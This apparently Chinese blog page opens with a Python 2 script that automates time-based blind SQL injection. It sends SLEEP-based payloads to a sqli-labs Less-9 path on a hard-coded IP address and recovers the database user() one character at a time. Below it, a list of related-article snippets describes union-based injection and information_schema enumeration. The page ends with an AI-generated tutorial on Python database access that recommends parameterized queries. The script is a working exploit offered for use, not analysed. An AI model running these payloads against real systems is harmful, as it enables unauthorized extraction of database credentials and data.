SQL注入之python自动化查找当前数据库用户名

最新推荐文章于 2025-07-16 23:37:40 发布
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# -*- coding: utf-8 -*-
import time
import requests

payloads = 'abcdefghijklmnopqrstuvwxyz@'

for i in range(1, 19):
    for payload in payloads:

        s = " AND (SELECT * FROM (SELECT (SLEEP (5- (IF(ascii(substr(user(),%s,1))=%s, 2, 5)))))a)" \
        % (i, ord(payload))
        s = "/sqli-labs-master/Less-9/?id=1'" + s

        start_time = time.time()
        d = requests.get('http://111.230.43.239' + s + '%23')

        # print d.url

        if time.time() - start_time >= 3:
            print payload
            break
07-python自动化测试需要注意的sql注入问题
进阶的小猫的博客
04-29 368
1. 前言 SQL注入是一种比较典型的安全漏洞，不论研发还是测试人员，没有经验的新人在写代码时，难免会注意不到，引入SQL注入的安全漏洞。这里我们主要针对测试同学来讲一讲，如何避免SQL注入的代码写法。因为通常，研发的业务代码需要上线，可能会经过重重把关（比如QA的测试，公司内部的CI流水线，公司级代码系统的代码扫描，安全检查等），有漏洞的地方常常在上线前就被检查出来或者从源头（比如有的公司对研发同学进行代码规范培训，安全培训等）就被遏制了。 QA的测试代码常常是被忽略的。而作为QA来说，完成测试任务，确保
Metasploit SQL注入漏洞渗透测试实战
悦分享
12-07 1397
现代化Web应用程序在设计时都会将代码与数据进行分离，这些数据会独立保存在服务器中。当数据量较大的时候，需要使用一种特殊的数据管理程序，也就是常说的数据库。目前比较常用的数据库软件有MySQL、SQLServer、Access等，不过它们的操作都要遵循SQL（Structured Query Language，结构化查询语言）标准，但是不同的产品之间存在着一定的差别。SQL注入攻击是通过操作输入来修改SQL语句，以达到执行代码对Web服务器进行攻击的方式。
SQL注入获取数据库名—自动化脚本
weixin_48968378的博客
12-07 2772
1、搭建好python环境，在脚本目录下新建cmd.bat文件（文件内容：cmd.exe）。 2、修改好标志位和payload后，点击cmd.bat进入cmd见面，输入python 文件名运行就OK了。 3、脚本源码： import requests import sys payload='' url='' flag='You are in'#标志位——代表请求是否正确 def StartSqli(url): DBNameLen=0 print('[-]开始获取数据库的长度.
【无标题】SQL注入——MYSQL
m0_48222671的博客
04-21 2939
MYSQL注入一、SQL注入产生的条件二、判断注入点三、注入步骤1.猜解列名数量2.报错猜解3.查看当前数据库4.查看数据库名5.查看数据库表名6.查询admin列名7.查询user中的username 一、SQL注入产生的条件 可控变量 参数带入数据库查询 变量未经过过滤或过滤不严谨 二、判断注入点 下面的方法也知识可能存在，如果有404或者跳转，则没有注入 id=1 and 1=1 页面正常 id=1 and 1=1 页面错误 三、注入步骤 以判断存在注入 1.猜解列名数量 id=1 ord
sql注入 mysql 猜数据库名字_sql注入 - osc_dfi5j6xi的个人空间 - OSCHINA - 中文开源技术交流社区...
weixin_39650784的博客
02-22 1565
SQL基础： 注入点的判断：首先判断该注入点是怎么闭合的，常用的是','),')),",再利用and 1=2,and 1=1判断闭合是否正确sql注入常用语句：普通语句：schema_name——数据库名；table_name——表名；column_name——字段名；查询数据库：select schema_name from information_schema.schemata--+查询数据库...
burpsuite利用sql注入漏洞猜解数据库名称
u013930899的博客
10-31 1562
burpsuite利用sql注入漏洞猜解数据库名
SQL注入之延时盲注python自动化利用
lubiii_的博客
03-20 1188
掌握延时盲注自动化需分步实践，从基础请求到优化绕过，最终实现稳定高效的数据提取工具。重点理解每个模块的底层逻辑，而非直接复制代码。
Python脚本开发秘笈：高效实现数据库交互与文档自动化（新手向）
IT深耕十余载，大道之简
06-30 1337
Python高效开发：数据库交互与文档自动化 本文介绍了如何利用Python解决开发中的三大效率痛点： 数据库操作简化 - 通过sqlite3、pymysql和psycopg2库实现安全连接和CRUD操作，强调参数化查询防范SQL注入。 文档自动化生成 - 利用模板引擎自动创建README和API文档，确保文档与代码同步更新。 AI辅助代码理解 - 结合大语言模型快速解析代码结构，加速项目交接和代码审查。 文章从基础数据库连接讲起，逐步深入ORM和文档自动化技术，并提供了防范SQL注入等安全实践，帮助开发者
数据库——python操作MySQL、修改表SQL语句、视图、触发器、存储过程、事务、流程控制、常见函数、索引
kdq18486588014的博客
05-09 1806
文章目录一、python操作MySQL1.pymysql模块1.基本使用2.sql注入问题3.二次确认二、修改表SQL语句1.修改表的名字 rename2.添加字段 add3.修改字段4.删除字段5.临时修改SQL语句的结束符三、视图1.视图的概念2.视图的作用3.视图的创建四、触发器1.触发器概念2.触发器作用3.触发器种类4.触发器创建五、存储过程1.创建2.使用六、事务1.事务的概念2.事务四大特性3.事务的创建七、流程控制1.if判断2.while循环八、常见函数1.移除指定字符2.大小写转换
pikachu靶场通关之sql注入系列
qq_51902218的博客
09-16 8435
1.判断是否注入(是否严格校验)(1)可控参数(id)能否影响页面显示(2)输入的SQL语句是否能报错(能通过数据库报错，看到数据库一些语句痕迹)(selectusername,passwordfromuserwhereid=?’)后面单引号或者双引号通过在URL中修改对应的id值，值为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点(3)输入的SQL语句能否不报错(我们的语句能够成功闭合)(selectusername,passwordf。......
sql注入 mysql 猜数据库名字_web渗透-SQL注入数据库信息盗取
weixin_33198642的博客
02-22 769
sql注入原理脚本代码接收来自前端数据未进行过滤，导致恶意sql语句插入到数据库中查询执行。如下代码：$id = $_GET['id'];$sql = "select * from user where id=$id";.......$result = mysql_query($sql);?>sql注入攻击流程1.and语法判断是否存在注入点And 1=1正确页面And 1=2错误页面结果：...
sql手工注入获取库、表名（union联合注入）（个人学习笔记）
2401_86737011的博客
10-15 2414
当我们发现一个网站存在sql注入的漏洞时，可以使用sql手工注入来获取信息，如下列的网站sql注入的原理是前端给后端发送指令的时候由于设计者未考虑安全，导致用户可以加上自己的指令进去，从而让服务器完成一些列危险的操作。
6.sql injection之获取当前数据库的表名-------小白笔记
qwsn
11-03 4319
1.版本在5.0及以上的mysql服务器特点： ①内置数据字典表：information_schema.tables ②该表：存储了所有数据库里的所有表的信息 //注意，information_schema.tables这个表，是存储所有数据库中的所有表信息，所以要加上where语句，才可以限制为当前的数据库为dvwa 2.group_concat()函数，显示多表的名称 3.爆表过程： ①源码...
SQL注入
weixin_73331134的博客
04-17 2215
+空格为注释#也为注释MySQL版本8.0以下授权为：GRANT ALL ON以上为：CREATE USER test@“host” IDENTIFIED BY “password” with_native_passwordSHOW DATABASES 列出所有数据库USE mysql；查看某一个数据库里的所有内容 或者是（SHOW TABLES FROM mysql）-----select语句查看当前时间查看当前选择的是哪个数据库查看当前登录数据库的用户查看数据路径。
SQL注入（查询注入）
m0_61974571的博客
10-12 1894
如果使用config的认证方式，则直接进入后台，如果为http，可以进行爆破，最好不要开启phpmyadmin，或者在需要的时候再开启远程登陆，修改/opt/lampp/etc/extra/http-xampp.conf文件禁用远程访问。使用方法：https://blog.youkuaiyun.com/kikajack/article/details/80065753。上述语法主要针对mysql数据库，如果针对其他数据库，需要使用其他数据库的语法。3、Web页面中有两个SQL查询语句，查询的列数不相同。
网络安全初级（Python实现sql自动化布尔盲注）
2301_80632830的博客
07-16 1174
目标URL# 要推断的数据库信息（例如：数据库名）# 字符集（可以根据需要扩展）url：指定了目标网站的 URL，即要进行 SQL 注入测试的页面。：用于存储推断出的数据库名，初始为空字符串。charset：定义了可能出现在数据库名中的字符集，包括大小写字母、数字和一些特殊字符。
SQL注入-常规查询
weixin_73865435的博客
04-05 1782
SQL注入-常规注入
sql注入（字符型注入）
2401_82760239的博客
03-30 1645
接下来查看flag表名下的字段名，用-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#首先用-1' union select 1,group_concat(schema_name) from information_schema.schemata #，列出所有的数据库。（或称为系统架构）是非常重要的。
python使用SQL数据库
最新发布
11-08
<think>我们根据用户的需求，从多个引用中提取关于Python使用SQL数据库的方法和示例 用户想要查找Python使用SQL数据库的相关内容，如方法和示例等 引用[1]提到了连接数据库、执行SQL查询和更新操作，SQL基本语法 引用[2]提到了使用pymysql和pymssql库操作MySQL和SQL Server 引用[3]提到了使用SQLAlchemy连接数据库，并提到中专API地址（但可能不需要关注API，重点在数据库连接） 引用[4]提到了使用pyodbc连接MS-SQL数据库 因此，我们可以总结如下： 1. 连接数据库的方法（使用不同的库） 2. 执行查询和更新操作 3. 提供示例代码 由于引用中提到了多种数据库（MySQL, SQL Server）和多种库（pymysql, pymssql, SQLAlchemy, pyodbc），我们可以分别给出示例。 但是注意：用户没有指定具体数据库，所以我们可以给出通用方法，并针对常见数据库给出示例。 步骤： 1. 连接数据库 2. 创建游标 3. 执行SQL语句（查询或更新） 4. 处理结果（对于查询） 5. 关闭连接 常用库： - MySQL: pymysql, mysql-connector-python - SQL Server: pyodbc, pymssql - 通用：SQLAlchemy（ORM，也可以执行原生SQL） 由于引用中提到了pymysql, pymssql, pyodbc, SQLAlchemy，我们将分别给出一些示例。 注意：引用中[^3]提到了一个中专API地址，但用户需求是使用Python操作SQL数据库，所以我们不需要关注该API。 由于用户要求结构清晰，我们将分步骤说明，并给出不同数据库和库的示例。 </think>以下是Python使用SQL数据库的方法和示例总结，涵盖主流数据库操作流程： ### 一、通用操作流程 1. **连接数据库** 使用库提供的`connect()`方法建立连接，需提供主机地址、数据库名、认证信息等参数 连接示例： ```python # 示例模板 import 数据库驱动库 conn = 驱动库.connect( host='服务器地址', database='数据库名', user='用户名', password='密码' ) ``` 2. **执行SQL语句** ```python cursor = conn.cursor() # 创建游标 cursor.execute("SQL语句") # 执行查询或更新 ``` 3. **处理结果** ```python # 查询结果处理 results = cursor.fetchall() # 获取全部数据 for row in results: print(row) # 提交事务（写操作必需） conn.commit() ``` 4. **关闭连接** ```python cursor.close() conn.close() ``` --- ### 二、数据库具体实现示例 #### 1. MySQL 数据库（使用 PyMySQL） ```python import pymysql # 连接数据库 conn = pymysql.connect( host='localhost', user='root', password='123456', database='test_db' ) try: with conn.cursor() as cursor: # 创建表 cursor.execute("CREATE TABLE IF NOT EXISTS users(id INT, name VARCHAR(20))") # 插入数据 cursor.execute("INSERT INTO users VALUES (1, '张三')") # 查询数据 cursor.execute("SELECT * FROM users") print(cursor.fetchall()) # 输出: ((1, '张三'),) conn.commit() finally: conn.close() ``` #### 2. SQL Server 数据库（使用 pyodbc） ```python import pyodbc # 连接数据库 conn = pyodbc.connect( driver='{SQL Server}', server='localhost', database='AdventureWorks', trusted_connection='yes' # Windows身份验证 ) cursor = conn.cursor() # 执行参数化查询（防SQL注入） cursor.execute("SELECT * FROM Employees WHERE Department=?", ('Sales',)) for row in cursor: print(row.EmployeeID, row.Name) ``` #### 3. SQLite 数据库（内置库） ```python import sqlite3 # 内存数据库（文件数据库替换为文件路径） conn = sqlite3.connect(':memory:') cursor = conn.cursor() cursor.execute("CREATE TABLE books(title TEXT, author TEXT)") cursor.execute("INSERT INTO books VALUES (?, ?)", ('Python基础', '李教授')) conn.commit() # 批量插入 books = [('SQL进阶', '王专家'), ('数据分析', '赵博士')] cursor.executemany("INSERT INTO books VALUES (?, ?)", books) ``` #### 4. ORM 操作（SQLAlchemy 示例） ```python from sqlalchemy import create_engine, Column, Integer, String from sqlalchemy.orm import declarative_base, sessionmaker Base = declarative_base() class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) name = Column(String(30)) # 连接数据库 engine = create_engine('sqlite:///demo.db') Base.metadata.create_all(engine) # 会话操作 Session = sessionmaker(bind=engine) session = Session() # 添加数据 new_user = User(name='王工程师') session.add(new_user) session.commit() # 查询数据 users = session.query(User).filter_by(name='王工程师').all() ``` ### 三、关键注意事项 1. **防SQL注入** 永远使用参数化查询（`?`占位符或命名参数）代替字符串拼接 ```python # 正确做法 cursor.execute("SELECT * FROM users WHERE id=?", (user_id,)) # 危险做法（勿用） cursor.execute(f"SELECT * FROM users WHERE id={user_id}") ``` 2. **连接池管理** 生产环境建议使用连接池工具（如`SQLAlchemy`的池化功能），避免频繁创建连接[^1] 3. **事务控制** 写操作需显式调用`commit()`，读操作后建议及时关闭游标释放资源[^2] 4. **数据类型映射** Python类型与SQL类型自动转换（如`datetime` ↔ `DATETIME`），但需注意NULL值处理[^4]
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